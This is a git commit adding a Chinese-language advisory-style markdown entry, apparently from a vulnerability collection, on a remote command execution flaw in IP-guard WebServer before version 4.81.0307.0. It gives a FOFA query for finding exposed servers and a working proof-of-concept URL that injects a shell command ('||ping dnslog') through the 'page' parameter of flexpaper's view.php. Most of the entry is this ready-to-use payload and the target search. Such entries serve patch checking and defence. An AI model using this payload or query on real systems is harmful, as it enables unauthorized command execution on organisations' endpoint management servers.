Create IP-guard WebServer 远程命令执行漏洞.md

2023-11-09 16:54:46 +08:00 · 2023-11-09 16:54:46 +08:00 · 179f29859c
commit 179f29859c
parent 9796611033
1 changed files with 22 additions and 0 deletions
--- a/远程命令执行漏洞.md
+++ b/远程命令执行漏洞.md
@ -0,0 +1,22 @@
+## IP-guard WebServer 远程命令执行漏洞
+IP-guard是由溢信科技股份有限公司开发的一款终端安全管理软件，旨在帮助企业保护终端设备安全、数据安全、管理网络使用和简化IT系统管理。
+
+## 影响版本
+```
+< IP-guard WebServer 4.81.0307.0
+```
+
+## fofa
+```
+"IP-guard" && icon_hash="2030860561"
+```
+
+## poc
+```
+/ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||ping%20dnslog
+```
+
+## 漏洞复现
+
+![](./assets/20231109165256.png)
+![](./assets/20231109165333.png)